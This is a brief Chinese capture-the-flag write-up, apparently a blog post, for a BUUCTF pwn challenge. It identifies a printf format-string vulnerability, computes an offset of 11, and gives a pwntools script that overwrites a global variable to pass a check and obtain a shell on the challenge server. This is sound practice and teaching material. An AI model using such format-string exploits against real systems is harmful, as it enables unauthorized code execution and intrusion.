共计 338 个字符,预计需要花费 1 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 14:49,文中所关联的信息可能已发生改变,请知悉!
checksec
IDA
在 main
函数中可以看到,只要满足第 12 行的 if
条件,就可以拿到 shell
。而第 9 行中的read
操作不可溢出,因为 buf
的长度为 0x5C
,但读入限制的长度为0x50
,所以不能进行栈溢出。但是第 10 行使用了printf
函数,那么我们可以考虑使用格式化字符串漏洞,从而使得下面的 if
条件成立。
偏移计算
0x61616161
代表了aaaa
,所以可以数一下偏移为 11。
EXP
from pwn import *
p = remote('node4.buuoj.cn', 27200)
x_addr = 0x804A02C
payload = fmtstr_payload(11, {x_addr: 4})
p.sendline(payload)
p.interactive()
结果
正文完